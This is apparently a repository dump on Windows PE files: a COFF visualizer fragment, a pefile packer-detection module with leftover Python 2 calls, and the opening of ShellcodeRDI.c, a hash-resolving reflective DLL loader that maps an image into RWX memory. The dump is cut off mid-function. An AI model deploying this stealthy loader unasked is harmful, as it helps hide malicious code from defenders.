184 | 185 | 186 | 187 | 188 | 189 | 190 | SectionDefinitionView 191 | 192 | COFF.SECTION_DEFINITION 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | Length 221 | 0x{0:X8} 222 | 223 | 224 | NumberOfRelocations 225 | 0x{0:X4} 226 | 227 | 228 | NumberOfLinenumbers 229 | 0x{0:X4} 230 | 231 | 232 | CheckSum 233 | 0x{0:X8} 234 | 235 | 236 | Number 237 | 0x{0:X4} 238 | 239 | 240 | Selection 241 | 0x{0:X2} 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | RelocationView 250 | 251 | COFF.RelocationEntry 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | VirtualAddress 274 | 0x{0:X8} 275 | 276 | 277 | SymbolTableIndex 278 | 0x{0:X8} 279 | 280 | 281 | Type 282 | 283 | 284 | Name 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | -------------------------------------------------------------------------------- /Python/peutils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: Latin-1 -*- 2 | """peutils, Portable Executable utilities module 3 | 4 | 5 | Copyright (c) 2005-2012 Ero Carrera 6 | 7 | All rights reserved. 8 | 9 | For detailed copyright information see the file COPYING in 10 | the root of the distribution archive. 11 | """ 12 | 13 | import os 14 | import re 15 | import string 16 | import urllib.request, urllib.parse, urllib.error 17 | import pefile 18 | 19 | __author__ = 'Ero Carrera' 20 | __version__ = pefile.__version__ 21 | __contact__ = 'ero.carrera@gmail.com' 22 | 23 | 24 | 25 | 26 | class SignatureDatabase: 27 | """This class loads and keeps a parsed PEiD signature database. 28 | 29 | Usage: 30 | 31 | sig_db = SignatureDatabase('/path/to/signature/file') 32 | 33 | and/or 34 | 35 | sig_db = SignatureDatabase() 36 | sig_db.load('/path/to/signature/file') 37 | 38 | Signature databases can be combined by performing multiple loads. 39 | 40 | The filename parameter can be a URL too. In that case the 41 | signature database will be downloaded from that location. 42 | """ 43 | 44 | def __init__(self, filename=None, data=None): 45 | 46 | # RegExp to match a signature block 47 | # 48 | self.parse_sig = re.compile( 49 | '\[(.*?)\]\s+?signature\s*=\s*(.*?)(\s+\?\?)*\s*ep_only\s*=\s*(\w+)(?:\s*section_start_only\s*=\s*(\w+)|)', re.S) 50 | 51 | # Signature information 52 | # 53 | # Signatures are stored as trees using dictionaries 54 | # The keys are the byte values while the values for 55 | # each key are either: 56 | # 57 | # - Other dictionaries of the same form for further 58 | # bytes in the signature 59 | # 60 | # - A dictionary with a string as a key (packer name) 61 | # and None as value to indicate a full signature 62 | # 63 | self.signature_tree_eponly_true = dict () 64 | self.signature_count_eponly_true = 0 65 | self.signature_tree_eponly_false = dict () 66 | self.signature_count_eponly_false = 0 67 | self.signature_tree_section_start = dict () 68 | self.signature_count_section_start = 0 69 | 70 | # The depth (length) of the longest signature 71 | # 72 | self.max_depth = 0 73 | 74 | self.__load(filename=filename, data=data) 75 | 76 | def generate_section_signatures(self, pe, name, sig_length=512): 77 | """Generates signatures for all the sections in a PE file. 78 | 79 | If the section contains any data a signature will be created 80 | for it. The signature name will be a combination of the 81 | parameter 'name' and the section number and its name. 82 | """ 83 | 84 | section_signatures = list() 85 | 86 | for idx, section in enumerate(pe.sections): 87 | 88 | if section.SizeOfRawData < sig_length: 89 | continue 90 | 91 | #offset = pe.get_offset_from_rva(section.VirtualAddress) 92 | offset = section.PointerToRawData 93 | 94 | sig_name = '%s Section(%d/%d,%s)' % ( 95 | name, idx + 1, len(pe.sections), 96 | ''.join([c for c in section.Name if c in string.printable])) 97 | 98 | section_signatures.append( 99 | self.__generate_signature( 100 | pe, offset, sig_name, ep_only=False, 101 | section_start_only=True, 102 | sig_length=sig_length) ) 103 | 104 | return '\n'.join(section_signatures)+'\n' 105 | 106 | 107 | 108 | def generate_ep_signature(self, pe, name, sig_length=512): 109 | """Generate signatures for the entry point of a PE file. 110 | 111 | Creates a signature whose name will be the parameter 'name' 112 | and the section number and its name. 113 | """ 114 | 115 | offset = pe.get_offset_from_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) 116 | 117 | return self.__generate_signature( 118 | pe, offset, name, ep_only=True, sig_length=sig_length) 119 | 120 | 121 | 122 | def __generate_signature(self, pe, offset, name, ep_only=False, 123 | section_start_only=False, sig_length=512): 124 | 125 | data = pe.__data__[offset:offset+sig_length] 126 | 127 | signature_bytes = ' '.join(['%02x' % ord(c) for c in data]) 128 | 129 | if ep_only == True: 130 | ep_only = 'true' 131 | else: 132 | ep_only = 'false' 133 | 134 | if section_start_only == True: 135 | section_start_only = 'true' 136 | else: 137 | section_start_only = 'false' 138 | 139 | signature = '[%s]\nsignature = %s\nep_only = %s\nsection_start_only = %s\n' % ( 140 | name, signature_bytes, ep_only, section_start_only) 141 | 142 | return signature 143 | 144 | def match(self, pe, ep_only=True, section_start_only=False): 145 | """Matches and returns the exact match(es). 146 | 147 | If ep_only is True the result will be a string with 148 | the packer name. Otherwise it will be a list of the 149 | form (file_ofsset, packer_name). Specifying where 150 | in the file the signature was found. 151 | """ 152 | 153 | matches = self.__match(pe, ep_only, section_start_only) 154 | 155 | # The last match (the most precise) from the 156 | # list of matches (if any) is returned 157 | # 158 | if matches: 159 | if ep_only == False: 160 | # Get the most exact match for each list of matches 161 | # at a given offset 162 | # 163 | return [(match[0], match[1][-1]) for match in matches] 164 | 165 | return matches[1][-1] 166 | 167 | return None 168 | 169 | def match_all(self, pe, ep_only=True, section_start_only=False): 170 | """Matches and returns all the likely matches.""" 171 | 172 | matches = self.__match(pe, ep_only, section_start_only) 173 | 174 | if matches: 175 | if ep_only == False: 176 | # Get the most exact match for each list of matches 177 | # at a given offset 178 | # 179 | return matches 180 | 181 | return matches[1] 182 | 183 | return None 184 | 185 | def __match(self, pe, ep_only, section_start_only): 186 | 187 | # Load the corresponding set of signatures 188 | # Either the one for ep_only equal to True or 189 | # to False 190 | # 191 | if section_start_only is True: 192 | 193 | # Fetch the data of the executable as it'd 194 | # look once loaded in memory 195 | # 196 | try : 197 | data = pe.__data__ 198 | except Exception as excp : 199 | raise 200 | 201 | # Load the corresponding tree of signatures 202 | # 203 | signatures = self.signature_tree_section_start 204 | 205 | # Set the starting address to start scanning from 206 | # 207 | scan_addresses = [section.PointerToRawData for section in pe.sections] 208 | 209 | elif ep_only is True: 210 | 211 | # Fetch the data of the executable as it'd 212 | # look once loaded in memory 213 | # 214 | try : 215 | data = pe.get_memory_mapped_image() 216 | except Exception as excp : 217 | raise 218 | 219 | # Load the corresponding tree of signatures 220 | # 221 | signatures = self.signature_tree_eponly_true 222 | 223 | # Fetch the entry point of the PE file and the data 224 | # at the entry point 225 | # 226 | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint 227 | 228 | # Set the starting address to start scanning from 229 | # 230 | scan_addresses = [ep] 231 | 232 | else: 233 | 234 | data = pe.__data__ 235 | 236 | signatures = self.signature_tree_eponly_false 237 | 238 | scan_addresses = range( len(data) ) 239 | 240 | # For each start address, check if any signature matches 241 | # 242 | matches = [] 243 | for idx in scan_addresses: 244 | result = self.__match_signature_tree( 245 | signatures, 246 | data[idx:idx+self.max_depth]) 247 | if result: 248 | matches.append( (idx, result) ) 249 | 250 | # Return only the matched items found at the entry point if 251 | # ep_only is True (matches will have only one element in that 252 | # case) 253 | # 254 | if ep_only is True: 255 | if matches: 256 | return matches[0] 257 | 258 | return matches 259 | 260 | 261 | def match_data(self, code_data, ep_only=True, section_start_only=False): 262 | 263 | data = code_data 264 | scan_addresses = [ 0 ] 265 | 266 | # Load the corresponding set of signatures 267 | # Either the one for ep_only equal to True or 268 | # to False 269 | # 270 | if section_start_only is True: 271 | 272 | # Load the corresponding tree of signatures 273 | # 274 | signatures = self.signature_tree_section_start 275 | 276 | # Set the starting address to start scanning from 277 | # 278 | 279 | elif ep_only is True: 280 | 281 | # Load the corresponding tree of signatures 282 | # 283 | signatures = self.signature_tree_eponly_true 284 | 285 | 286 | # For each start address, check if any signature matches 287 | # 288 | matches = [] 289 | for idx in scan_addresses: 290 | result = self.__match_signature_tree( 291 | signatures, 292 | data[idx:idx+self.max_depth]) 293 | if result: 294 | matches.append( (idx, result) ) 295 | 296 | # Return only the matched items found at the entry point if 297 | # ep_only is True (matches will have only one element in that 298 | # case) 299 | # 300 | if ep_only is True: 301 | if matches: 302 | return matches[0] 303 | 304 | return matches 305 | 306 | 307 | def __match_signature_tree(self, signature_tree, data, depth = 0): 308 | """Recursive function to find matches along the signature tree. 309 | 310 | signature_tree is the part of the tree left to walk 311 | data is the data being checked against the signature tree 312 | depth keeps track of how far we have gone down the tree 313 | """ 314 | 315 | 316 | matched_names = list () 317 | match = signature_tree 318 | 319 | # Walk the bytes in the data and match them 320 | # against the signature 321 | # 322 | for idx, byte in enumerate ( [ord (b) for b in data] ): 323 | 324 | # If the tree is exhausted... 325 | # 326 | if match is None : 327 | break 328 | 329 | # Get the next byte in the tree 330 | # 331 | match_next = match.get(byte, None) 332 | 333 | 334 | # If None is among the values for the key 335 | # it means that a signature in the database 336 | # ends here and that there's an exact match. 337 | # 338 | if None in list(match.values()): 339 | # idx represent how deep we are in the tree 340 | # 341 | #names = [idx+depth] 342 | names = list() 343 | 344 | # For each of the item pairs we check 345 | # if it has an element other than None, 346 | # if not then we have an exact signature 347 | # 348 | for item in list(match.items()): 349 | if item[1] is None : 350 | names.append (item[0]) 351 | matched_names.append(names) 352 | 353 | # If a wildcard is found keep scanning the signature 354 | # ignoring the byte. 355 | # 356 | if '??' in match : 357 | match_tree_alternate = match.get ('??', None) 358 | data_remaining = data[idx + 1 :] 359 | if data_remaining: 360 | matched_names.extend( 361 | self.__match_signature_tree( 362 | match_tree_alternate, data_remaining, idx+depth+1)) 363 | 364 | match = match_next 365 | 366 | # If we have any more packer name in the end of the signature tree 367 | # add them to the matches 368 | # 369 | if match is not None and None in list(match.values()): 370 | #names = [idx + depth + 1] 371 | names = list() 372 | for item in list(match.items()) : 373 | if item[1] is None: 374 | names.append(item[0]) 375 | matched_names.append(names) 376 | 377 | return matched_names 378 | 379 | def load(self , filename=None, data=None): 380 | """Load a PEiD signature file. 381 | 382 | Invoking this method on different files combines the signatures. 383 | """ 384 | 385 | self.__load(filename=filename, data=data) 386 | 387 | def __load(self, filename=None, data=None): 388 | 389 | 390 | if filename is not None: 391 | # If the path does not exist, attempt to open a URL 392 | # 393 | if not os.path.exists(filename): 394 | try: 395 | sig_f = urllib.request.urlopen(filename) 396 | sig_data = sig_f.read() 397 | sig_f.close() 398 | except IOError: 399 | # Let this be raised back to the user... 400 | raise 401 | else: 402 | # Get the data for a file 403 | # 404 | try: 405 | sig_f = file( filename, 'rt' ) 406 | sig_data = sig_f.read() 407 | sig_f.close() 408 | except IOError: 409 | # Let this be raised back to the user... 410 | raise 411 | else: 412 | sig_data = data 413 | 414 | # If the file/URL could not be read or no "raw" data 415 | # was provided there's nothing else to do 416 | # 417 | if not sig_data: 418 | return 419 | 420 | # Helper function to parse the signature bytes 421 | # 422 | def to_byte(value) : 423 | if value == '??' or value == '?0' : 424 | return value 425 | return int (value, 16) 426 | 427 | 428 | # Parse all the signatures in the file 429 | # 430 | matches = self.parse_sig.findall(sig_data) 431 | 432 | # For each signature, get the details and load it into the 433 | # signature tree 434 | # 435 | for packer_name, signature, superfluous_wildcards, ep_only, section_start_only in matches: 436 | 437 | ep_only = ep_only.strip().lower() 438 | 439 | signature = signature.replace('\\n', '').strip() 440 | 441 | signature_bytes = [to_byte(b) for b in signature.split()] 442 | 443 | if ep_only == 'true': 444 | ep_only = True 445 | else: 446 | ep_only = False 447 | 448 | if section_start_only == 'true': 449 | section_start_only = True 450 | else: 451 | section_start_only = False 452 | 453 | 454 | depth = 0 455 | 456 | if section_start_only is True: 457 | 458 | tree = self.signature_tree_section_start 459 | self.signature_count_section_start += 1 460 | 461 | else: 462 | if ep_only is True : 463 | tree = self.signature_tree_eponly_true 464 | self.signature_count_eponly_true += 1 465 | else : 466 | tree = self.signature_tree_eponly_false 467 | self.signature_count_eponly_false += 1 468 | 469 | for idx, byte in enumerate (signature_bytes) : 470 | 471 | if idx+1 == len(signature_bytes): 472 | 473 | tree[byte] = tree.get( byte, dict() ) 474 | tree[byte][packer_name] = None 475 | 476 | else : 477 | 478 | tree[byte] = tree.get ( byte, dict() ) 479 | 480 | tree = tree[byte] 481 | depth += 1 482 | 483 | if depth > self.max_depth: 484 | self.max_depth = depth 485 | 486 | 487 | 488 | 489 | def is_valid( pe ): 490 | """""" 491 | pass 492 | 493 | 494 | def is_suspicious( pe ): 495 | """ 496 | unusual locations of import tables 497 | non recognized section names 498 | presence of long ASCII strings 499 | """ 500 | 501 | relocations_overlap_entry_point = False 502 | sequential_relocs = 0 503 | 504 | # If relocation data is found and the entries go over the entry point, and also are very 505 | # continuous or point outside section's boundaries => it might imply that an obfuscation 506 | # trick is being used or the relocations are corrupt (maybe intentionally) 507 | # 508 | if hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'): 509 | for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC: 510 | last_reloc_rva = None 511 | for reloc in base_reloc.entries: 512 | if reloc.rva <= pe.OPTIONAL_HEADER.AddressOfEntryPoint <= reloc.rva + 4: 513 | relocations_overlap_entry_point = True 514 | 515 | if last_reloc_rva is not None and last_reloc_rva <= reloc.rva <= last_reloc_rva + 4: 516 | sequential_relocs += 1 517 | 518 | last_reloc_rva = reloc.rva 519 | 520 | 521 | 522 | # If import tables or strings exist (are pointed to) to within the header or in the area 523 | # between the PE header and the first section that's supicious 524 | # 525 | # IMPLEMENT 526 | 527 | 528 | warnings_while_parsing = False 529 | # If we have warnings, that's suspicious, some of those will be because of out-of-ordinary 530 | # values are found in the PE header fields 531 | # Things that are reported in warnings: 532 | # (parsing problems, special section characteristics i.e. W & X, uncommon values of fields, 533 | # unusual entrypoint, suspicious imports) 534 | # 535 | warnings = pe.get_warnings() 536 | if warnings: 537 | warnings_while_parsing 538 | 539 | # If there are few or none (should come with a standard "density" of strings/kilobytes of data) longer (>8) 540 | # ascii sequences that might indicate packed data, (this is similar to the entropy test in some ways but 541 | # might help to discard cases of legitimate installer or compressed data) 542 | 543 | # If compressed data (high entropy) and is_driver => uuuuhhh, nasty 544 | 545 | pass 546 | 547 | 548 | def is_probably_packed( pe ): 549 | """Returns True is there is a high likelihood that a file is packed or contains compressed data. 550 | 551 | The sections of the PE file will be analyzed, if enough sections 552 | look like containing containing compressed data and the data makes 553 | up for more than 20% of the total file size. The function will 554 | return True. 555 | """ 556 | 557 | # Calculate the lenth of the data up to the end of the last section in the 558 | # file. Overlay data won't be taken into account 559 | # 560 | total_pe_data_length = len( pe.trim() ) 561 | has_significant_amount_of_compressed_data = False 562 | 563 | # If some of the sections have high entropy and they make for more than 20% of the file's size 564 | # it's assumed that it could be an installer or a packed file 565 | 566 | total_compressed_data = 0 567 | for section in pe.sections: 568 | s_entropy = section.get_entropy() 569 | s_length = len( section.get_data() ) 570 | # The value of 7.4 is empircal, based of looking at a few files packed 571 | # by different packers 572 | if s_entropy > 7.4: 573 | total_compressed_data += s_length 574 | 575 | if ((1.0 * total_compressed_data)/total_pe_data_length) > .2: 576 | has_significant_amount_of_compressed_data = True 577 | 578 | return has_significant_amount_of_compressed_data 579 | 580 | 581 | 582 | -------------------------------------------------------------------------------- /ShellcodeRDI/ShellcodeRDI.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | 3 | #pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union' 4 | 5 | #include "GetProcAddressWithHash.h" 6 | #include "64BitHelper.h" 7 | #include 8 | #include 9 | 10 | // we declare some common stuff in here... 11 | 12 | #define DLL_QUERY_HMODULE 6 13 | 14 | #define DEREF( name )*(UINT_PTR *)(name) 15 | #define DEREF_64( name )*(DWORD64 *)(name) 16 | #define DEREF_32( name )*(DWORD *)(name) 17 | #define DEREF_16( name )*(WORD *)(name) 18 | #define DEREF_8( name )*(BYTE *)(name) 19 | 20 | typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(LPVOID lpParameter, LPVOID lpLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen, BOOL exitThread); 21 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); 22 | 23 | typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR); 24 | typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR); 25 | typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 26 | typedef VOID(WINAPI * EXITTHREAD)(DWORD); 27 | typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 28 | 29 | /** NOTE: module hashes are computed using all-caps unicode strings */ 30 | #define KERNEL32DLL_HASH 0x6A4ABC5B 31 | #define NTDLLDLL_HASH 0x3CFA685D 32 | 33 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 34 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 35 | #define VIRTUALALLOC_HASH 0x91AFCA54 36 | #define EXITTHREAD_HSAH 0x60E0CEEF 37 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 38 | #define RTLEXITUSERTHREAD_HASH 0xFF7F061A // Vista+ 39 | 40 | #define IMAGE_REL_BASED_ARM_MOV32A 5 41 | #define IMAGE_REL_BASED_ARM_MOV32T 7 42 | 43 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 44 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 45 | #define ARM_MOVW 0xF2400000 46 | #define ARM_MOVT 0xF2C00000 47 | 48 | #define HASH_KEY 13 49 | 50 | typedef struct _UNICODE_STR 51 | { 52 | USHORT Length; 53 | USHORT MaximumLength; 54 | PWSTR pBuffer; 55 | } UNICODE_STR, *PUNICODE_STR; 56 | 57 | typedef struct _PEB_FREE_BLOCK 58 | { 59 | struct _PEB_FREE_BLOCK * pNext; 60 | DWORD dwSize; 61 | } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; 62 | 63 | typedef struct __PEB 64 | { 65 | BYTE bInheritedAddressSpace; 66 | BYTE bReadImageFileExecOptions; 67 | BYTE bBeingDebugged; 68 | BYTE bSpareBool; 69 | LPVOID lpMutant; 70 | LPVOID lpImageBaseAddress; 71 | PPEB_LDR_DATA pLdr; 72 | LPVOID lpProcessParameters; 73 | LPVOID lpSubSystemData; 74 | LPVOID lpProcessHeap; 75 | PRTL_CRITICAL_SECTION pFastPebLock; 76 | LPVOID lpFastPebLockRoutine; 77 | LPVOID lpFastPebUnlockRoutine; 78 | DWORD dwEnvironmentUpdateCount; 79 | LPVOID lpKernelCallbackTable; 80 | DWORD dwSystemReserved; 81 | DWORD dwAtlThunkSListPtr32; 82 | PPEB_FREE_BLOCK pFreeList; 83 | DWORD dwTlsExpansionCounter; 84 | LPVOID lpTlsBitmap; 85 | DWORD dwTlsBitmapBits[2]; 86 | LPVOID lpReadOnlySharedMemoryBase; 87 | LPVOID lpReadOnlySharedMemoryHeap; 88 | LPVOID lpReadOnlyStaticServerData; 89 | LPVOID lpAnsiCodePageData; 90 | LPVOID lpOemCodePageData; 91 | LPVOID lpUnicodeCaseTableData; 92 | DWORD dwNumberOfProcessors; 93 | DWORD dwNtGlobalFlag; 94 | LARGE_INTEGER liCriticalSectionTimeout; 95 | DWORD dwHeapSegmentReserve; 96 | DWORD dwHeapSegmentCommit; 97 | DWORD dwHeapDeCommitTotalFreeThreshold; 98 | DWORD dwHeapDeCommitFreeBlockThreshold; 99 | DWORD dwNumberOfHeaps; 100 | DWORD dwMaximumNumberOfHeaps; 101 | LPVOID lpProcessHeaps; 102 | LPVOID lpGdiSharedHandleTable; 103 | LPVOID lpProcessStarterHelper; 104 | DWORD dwGdiDCAttributeList; 105 | LPVOID lpLoaderLock; 106 | DWORD dwOSMajorVersion; 107 | DWORD dwOSMinorVersion; 108 | WORD wOSBuildNumber; 109 | WORD wOSCSDVersion; 110 | DWORD dwOSPlatformId; 111 | DWORD dwImageSubsystem; 112 | DWORD dwImageSubsystemMajorVersion; 113 | DWORD dwImageSubsystemMinorVersion; 114 | DWORD dwImageProcessAffinityMask; 115 | DWORD dwGdiHandleBuffer[34]; 116 | LPVOID lpPostProcessInitRoutine; 117 | LPVOID lpTlsExpansionBitmap; 118 | DWORD dwTlsExpansionBitmapBits[32]; 119 | DWORD dwSessionId; 120 | ULARGE_INTEGER liAppCompatFlags; 121 | ULARGE_INTEGER liAppCompatFlagsUser; 122 | LPVOID lppShimData; 123 | LPVOID lpAppCompatInfo; 124 | UNICODE_STR usCSDVersion; 125 | LPVOID lpActivationContextData; 126 | LPVOID lpProcessAssemblyStorageMap; 127 | LPVOID lpSystemDefaultActivationContextData; 128 | LPVOID lpSystemAssemblyStorageMap; 129 | DWORD dwMinimumStackCommit; 130 | } _PEB, *_PPEB; 131 | 132 | #pragma warning( push ) 133 | #pragma warning( disable : 4214 ) // nonstandard extension 134 | typedef struct 135 | { 136 | WORD offset : 12; 137 | WORD type : 4; 138 | } IMAGE_RELOC, *PIMAGE_RELOC; 139 | #pragma warning(pop) 140 | 141 | // Redefine Win32 function signatures. This is necessary because the output 142 | // of GetProcAddressWithHash is cast as a function pointer. Also, this makes 143 | // working with these functions a joy in Visual Studio with Intellisense. 144 | typedef HMODULE (WINAPI *FuncLoadLibraryA) ( 145 | _In_z_ LPTSTR lpFileName 146 | ); 147 | 148 | typedef HANDLE (WINAPI *FuncCreateFile) ( 149 | _In_ LPCTSTR lpFileName, 150 | _In_ DWORD dwDesiredAccess, 151 | _In_ DWORD dwShareMode, 152 | _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, 153 | _In_ DWORD dwCreationDisposition, 154 | _In_ DWORD dwFlagsAndAttributes, 155 | _In_opt_ HANDLE hTemplateFile 156 | ); 157 | 158 | typedef BOOL (WINAPI *FuncWriteFile)( 159 | _In_ HANDLE hFile, 160 | _In_ LPCVOID lpBuffer, 161 | _In_ DWORD nNumberOfBytesToWrite, 162 | _Out_opt_ LPDWORD lpNumberOfBytesWritten, 163 | _Inout_opt_ LPOVERLAPPED lpOverlapped 164 | ); 165 | 166 | typedef int (WINAPI *FuncMessageBox)( 167 | _In_opt_ HWND hWnd, 168 | _In_opt_ LPSTR lpText, 169 | _In_opt_ LPSTR lpCaption, 170 | _In_ UINT uType 171 | ); 172 | 173 | typedef BOOL(*EXPORTFUNC)(LPVOID, DWORD); 174 | 175 | // Write the logic for the primary payload here 176 | // Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT 177 | // Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue. 178 | ULONG_PTR ExecutePayload(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen) 179 | { 180 | #pragma warning( push ) 181 | #pragma warning( disable : 4055 ) // Ignore cast warnings 182 | 183 | // the functions we need 184 | LOADLIBRARYA pLoadLibraryA = NULL; 185 | GETPROCADDRESS pGetProcAddress = NULL; 186 | VIRTUALALLOC pVirtualAlloc = NULL; 187 | EXITTHREAD pExitThread = NULL; 188 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 189 | 190 | PIMAGE_DATA_DIRECTORY directory = NULL; 191 | PIMAGE_EXPORT_DIRECTORY exports = NULL; 192 | int idx; 193 | DWORD nameSearchIndex; 194 | DWORD *nameRef = NULL; 195 | WORD *ordinal = NULL; 196 | PCSTR pTempChar; 197 | DWORD dwCalculatedFunctionHash; 198 | 199 | EXPORTFUNC f = NULL; 200 | 201 | // the initial location of this image in memory 202 | //ULONG_PTR uiLibraryAddress; 203 | // the kernels base address and later this images newly loaded base address 204 | ULONG_PTR uiBaseAddress; 205 | 206 | // variables for processing the kernels export table 207 | ULONG_PTR uiAddressArray; 208 | ULONG_PTR uiNameArray; 209 | ULONG_PTR uiExportDir; 210 | 211 | // variables for loading this image 212 | ULONG_PTR uiHeaderValue; 213 | ULONG_PTR uiValueA; 214 | ULONG_PTR uiValueB; 215 | ULONG_PTR uiValueC; 216 | ULONG_PTR uiValueD; 217 | ULONG_PTR uiValueE; 218 | 219 | // exit code for current thread 220 | DWORD dwExitCode = 1; 221 | 222 | pLoadLibraryA = (LOADLIBRARYA)GetProcAddressWithHash(0x726774c); 223 | pGetProcAddress = (GETPROCADDRESS)GetProcAddressWithHash(0x7802f749); 224 | pVirtualAlloc = (VIRTUALALLOC)GetProcAddressWithHash(0xe553a458); 225 | pExitThread = (EXITTHREAD)GetProcAddressWithHash(0xa2a1de0); 226 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)GetProcAddressWithHash(0x945cb1af); 227 | 228 | 229 | // STEP 2: load our image into a new permanent location in memory... 230 | 231 | // get the VA of the NT Header for the PE to be loaded 232 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 233 | 234 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 235 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 236 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc((LPVOID)NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 237 | 238 | // we must now copy over the headers 239 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 240 | uiValueB = uiLibraryAddress; 241 | uiValueC = uiBaseAddress; 242 | 243 | while (uiValueA--) 244 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 245 | 246 | // STEP 3: load in all of our sections... 247 | 248 | // uiValueA = the VA of the first section 249 | uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 250 | 251 | // itterate through all sections, loading them into memory. 252 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 253 | while (uiValueE--) 254 | { 255 | // uiValueB is the VA for this section 256 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 257 | 258 | // uiValueC if the VA for this sections data 259 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 260 | 261 | // copy the section over 262 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 263 | 264 | while (uiValueD--) 265 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 266 | 267 | // get the VA of the next section 268 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 269 | } 270 | 271 | // STEP 4: process our images import table... 272 | 273 | // uiValueB = the address of the import directory 274 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 275 | 276 | // we assume their is an import table to process 277 | // uiValueC is the first entry in the import table 278 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 279 | 280 | // itterate through all imports 281 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) 282 | { 283 | // use LoadLibraryA to load the imported module into memory 284 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 285 | 286 | // uiValueD = VA of the OriginalFirstThunk 287 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 288 | 289 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 290 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 291 | 292 | // itterate through all imported functions, importing by ordinal if no name present 293 | while (DEREF(uiValueA)) 294 | { 295 | // sanity check uiValueD as some compilers only import by FirstThunk 296 | if (((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal && uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 297 | { 298 | 299 | // get the VA of the modules NT Header 300 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 301 | 302 | // uiNameArray = the address of the modules export directory entry 303 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 304 | 305 | // get the VA of the export directory 306 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 307 | 308 | // get the VA for the array of addresses 309 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 310 | 311 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 312 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 313 | 314 | // patch in the address for this imported function 315 | DEREF(uiValueA) = (uiLibraryAddress + 